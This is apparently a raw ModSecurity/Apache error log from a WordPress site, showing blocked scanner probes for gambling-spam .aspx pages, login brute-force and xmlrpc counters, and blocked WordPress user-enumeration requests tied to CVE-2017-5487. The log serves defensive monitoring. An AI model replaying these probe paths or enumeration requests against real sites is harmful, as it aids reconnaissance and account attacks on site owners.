[Wed Feb 18 12:54:58.244923 2026] [:error] [pid 21847:tid 21870] [client 147.135.214.103:44348] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aZVGIvy9A5wy4LuXmJ2HlAAAAAw"]
[Wed Feb 18 12:55:00.735233 2026] [:error] [pid 57014:tid 57032] [client 147.135.214.103:44350] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZVGJBNZnhS5qKtVIMKbuAAAAQ8"]
[Wed Feb 18 12:55:03.042746 2026] [:error] [pid 21848:tid 21909] [client 147.135.214.103:44354] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aZVGJ_bG91VRkVidT5e4uQAAAFQ"]
[Wed Feb 18 12:55:05.558153 2026] [:error] [pid 21961:tid 21983] [client 147.135.214.103:47182] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZVGKcUBDt_-H0ms3gX5jQAAANQ"]
[Wed Feb 18 12:55:08.033679 2026] [:error] [pid 57014:tid 57032] [client 147.135.214.103:47198] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aZVGLBNZnhS5qKtVIMKbwQAAAQ8"]
[Wed Feb 18 12:55:10.560966 2026] [:error] [pid 21849:tid 21927] [client 147.135.214.103:47208] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aZVGLrx9a1XrfTYnuzL9VwAAAIs"]
[Wed Feb 18 12:55:12.873283 2026] [:error] [pid 21961:tid 21965] [client 147.135.214.103:47218] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aZVGMMUBDt_-H0ms3gX5nQAAAMI"]
[Wed Feb 18 12:55:15.356306 2026] [:error] [pid 57014:tid 57026] [client 147.135.214.103:50784] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aZVGMxNZnhS5qKtVIMKb2gAAAQk"]
[Wed Feb 18 12:55:17.692854 2026] [:error] [pid 21849:tid 21919] [client 147.135.214.103:50786] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZVGNbx9a1XrfTYnuzL9XgAAAIM"]
[Wed Feb 18 12:55:20.188130 2026] [:error] [pid 21848:tid 21898] [client 147.135.214.103:50800] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZVGOPbG91VRkVidT5e42gAAAEk"]
[Wed Feb 18 14:22:24.784946 2026] [:error] [pid 5561:tid 5568] [client 176.110.111.22:35060] [client 176.110.111.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.110.111.22, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZVaoEoQssCZYQ4NexaBKwAAAUQ"]
[Wed Feb 18 14:23:02.083757 2026] [:error] [pid 21849:tid 21934] [client 195.60.214.11:38370] [client 195.60.214.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.60.214.11, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZVaxrx9a1XrfTYnuzIaKgAAAJI"]
[Wed Feb 18 14:28:02.669112 2026] [:error] [pid 57014:tid 57017] [client 35.229.127.85:59854] [client 35.229.127.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.229.127.85, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZVb8hNZnhS5qKtVIMK82QAAAQA"]
[Wed Feb 18 14:28:05.569174 2026] [:error] [pid 57014:tid 57035] [client 35.229.127.85:59854] [client 35.229.127.85] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aZVb9RNZnhS5qKtVIMK83gAAARI"]
[Wed Feb 18 14:28:08.714562 2026] [:error] [pid 57014:tid 57031] [client 35.229.127.85:59854] [client 35.229.127.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.229.127.85, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZVb-BNZnhS5qKtVIMK84gAAAQ4"]
[Wed Feb 18 14:56:24.267009 2026] [:error] [pid 57014:tid 57028] [client 34.74.175.180:61331] [client 34.74.175.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.74.175.180, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZVimBNZnhS5qKtVIMLFuAAAAQs"]
[Wed Feb 18 14:56:27.094052 2026] [:error] [pid 57014:tid 57036] [client 34.74.175.180:61331] [client 34.74.175.180] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aZVimxNZnhS5qKtVIMLFvQAAARM"]
[Wed Feb 18 14:56:29.576283 2026] [:error] [pid 57014:tid 57032] [client 34.74.175.180:61331] [client 34.74.175.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.74.175.180, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZVinRNZnhS5qKtVIMLFwwAAAQ8"]
[Wed Feb 18 16:12:39.026911 2026] [:error] [pid 21961:tid 21978] [client 14.215.163.132:42105] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZV0d8UBDt_-H0ms3gVa_AAAAM8"]
[Wed Feb 18 16:59:13.762813 2026] [:error] [pid 21848:tid 21898] [client 20.93.54.24:25408] [client 20.93.54.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.93.54.24, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZV_YfbG91VRkVidT5cIPwAAAEk"]
[Wed Feb 18 16:59:24.489087 2026] [:error] [pid 57014:tid 57018] [client 51.161.193.77:49152] [client 51.161.193.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.161.193.77, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZV_bBNZnhS5qKtVIMLvXwAAAQE"]
[Wed Feb 18 17:00:09.975111 2026] [:error] [pid 5561:tid 5566] [client 68.183.13.1:34368] [client 68.183.13.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.13.1, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZV_mUoQssCZYQ4Nexat-wAAAUI"]
[Wed Feb 18 18:55:47.148232 2026] [:error] [pid 5561:tid 5567] [client 43.133.91.48:50780] [client 43.133.91.48] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZWas0oQssCZYQ4NexbHPQAAAUM"]
[Wed Feb 18 19:55:35.314325 2026] [:error] [pid 11610:tid 11690] [client 195.142.136.26:50230] [client 195.142.136.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.142.136.26, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZWot7WMUt4MNfN7mx3IOAAAAtM"]
[Wed Feb 18 19:55:53.994395 2026] [:error] [pid 11611:tid 11710] [client 49.13.125.140:59718] [client 49.13.125.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 49.13.125.140, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZWoye2m6IPN_aBZuKZllQAAAww"]
[Wed Feb 18 21:05:24.918606 2026] [:error] [pid 21848:tid 21903] [client 89.185.138.75:38190] [client 89.185.138.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.185.138.75, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZW5FPbG91VRkVidT5dIgQAAAE4"]
[Wed Feb 18 21:08:48.307796 2026] [:error] [pid 5561:tid 5564] [client 211.21.61.246:58104] [client 211.21.61.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.246, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZW54EoQssCZYQ4Nexbb-QAAAUA"]
[Wed Feb 18 21:21:08.049305 2026] [ssl:error] [pid 11512:tid 11518] [client 104.168.98.195:42276] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://macfieldsvet.com.au/
[Wed Feb 18 21:36:04.755345 2026] [:error] [pid 21848:tid 21913] [client 64.92.9.212:55300] [client 64.92.9.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.92.9.212, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZXARPbG91VRkVidT5dQIgAAAFg"]
[Wed Feb 18 21:37:42.677474 2026] [:error] [pid 11607:tid 11630] [client 146.190.84.203:59492] [client 146.190.84.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.190.84.203, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZXAphw91ggRx3FA7Bf32QAAAk8"]
[Wed Feb 18 21:49:03.024431 2026] [:error] [pid 21847:tid 21875] [client 43.166.142.76:33360] [client 43.166.142.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZXDT_y9A5wy4LuXmJ0pvAAAABE"]
[Wed Feb 18 22:37:19.816081 2026] [:error] [pid 5561:tid 5572] [client 43.138.68.113:42952] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZXOn0oQssCZYQ4NexbqvQAAAUg"]
[Wed Feb 18 23:25:02.156453 2026] [proxy_fcgi:error] [pid 11607:tid 11622] [client 103.4.122.14:59496] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1771428302.1057879924774169921875', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_option'
[Wed Feb 18 23:49:14.666149 2026] [:error] [pid 21847:tid 21881] [client 108.61.144.195:34398] [client 108.61.144.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.61.144.195, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZXfevy9A5wy4LuXmJ08hwAAABc"]
[Thu Feb 19 00:17:33.362220 2026] [proxy_fcgi:error] [pid 21847:tid 21863] [client 114.119.157.156:38409] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1771431453.2859950065612792968750', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_option', referer: https://vetstars.com.au/pg%20slot%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx
[Thu Feb 19 00:26:55.341849 2026] [:error] [pid 11610:tid 11691] [client 168.227.250.223:9076] [client 168.227.250.223] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.227.250.223, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZXoT7WMUt4MNfN7mx37xwAAAtQ"]
[Thu Feb 19 00:29:30.898415 2026] [:error] [pid 11548:tid 11596] [client 178.33.162.49:45018] [client 178.33.162.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.33.162.49, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZXo6jSFZiBIZZvmIlNLewAAAhI"]
[Thu Feb 19 01:51:47.022211 2026] [:error] [pid 11512:tid 11530] [client 43.131.36.84:45432] [client 43.131.36.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZX8MxGamu0xQuQ-jbGEvgAAAY0"]
[Thu Feb 19 02:21:08.385153 2026] [:error] [pid 11610:tid 11674] [client 91.223.147.114:56844] [client 91.223.147.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.223.147.114, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZYDFLWMUt4MNfN7mx0QYgAAAsM"]
[Thu Feb 19 03:59:28.569244 2026] [:error] [pid 48901:tid 48918] [client 185.107.91.141:51696] [client 185.107.91.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.107.91.141, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZYaIMixYz-lHbN0WBKh_gAAAAg"]
[Thu Feb 19 04:18:25.281895 2026] [:error] [pid 48901:tid 48917] [client 172.255.80.98:60674] [client 172.255.80.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.255.80.98, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZYekcixYz-lHbN0WBKpIAAAAAc"], referer: https://vetstars.com.au/
[Thu Feb 19 04:34:55.963132 2026] [:error] [pid 49002:tid 49021] [client 35.226.125.165:51154] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.226.125.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZYib1fcBtQ6hSJuEQluPgAAAMc"]
[Thu Feb 19 04:38:34.120849 2026] [:error] [pid 15513:tid 15536] [client 135.181.213.219:48756] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZYjSsGTRTE022JWg1-BRwAAARU"]
[Thu Feb 19 04:38:36.552379 2026] [:error] [pid 48903:tid 48984] [client 135.181.213.219:48772] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZYjTI6aTgKrpAR115vxfwAAAJM"]
[Thu Feb 19 04:38:39.119000 2026] [:error] [pid 15513:tid 15538] [client 135.181.213.219:48774] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZYjT8GTRTE022JWg1-BTwAAARc"]
[Thu Feb 19 04:38:41.699127 2026] [:error] [pid 49002:tid 49020] [client 135.181.213.219:14064] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZYjUVfcBtQ6hSJuEQlvXQAAAMY"]
[Thu Feb 19 04:38:44.261810 2026] [:error] [pid 48902:tid 48953] [client 135.181.213.219:14070] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aZYjVGcJ-6aYRpRRFsUxiQAAAE8"]
[Thu Feb 19 04:38:46.711712 2026] [:error] [pid 49002:tid 49031] [client 135.181.213.219:14082] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZYjVlfcBtQ6hSJuEQlvZAAAANE"]
[Thu Feb 19 04:38:49.302956 2026] [:error] [pid 48901:tid 48921] [client 135.181.213.219:14090] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZYjWcixYz-lHbN0WBKvbgAAAAs"]
[Thu Feb 19 04:38:51.891577 2026] [:error] [pid 48903:tid 48988] [client 135.181.213.219:21288] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZYjW46aTgKrpAR115vxkQAAAJc"]
[Thu Feb 19 04:38:54.456001 2026] [:error] [pid 48901:tid 48910] [client 135.181.213.219:21304] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZYjXsixYz-lHbN0WBKvdgAAAAA"]
[Thu Feb 19 04:38:57.039719 2026] [:error] [pid 49002:tid 49020] [client 135.181.213.219:21316] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZYjYVfcBtQ6hSJuEQlvcwAAAMY"]
[Thu Feb 19 04:38:59.615656 2026] [:error] [pid 49002:tid 49017] [client 135.181.213.219:21322] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZYjY1fcBtQ6hSJuEQlveQAAAMM"]
[Thu Feb 19 04:39:02.193543 2026] [:error] [pid 48903:tid 48987] [client 135.181.213.219:29484] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZYjZo6aTgKrpAR115vxmgAAAJY"]
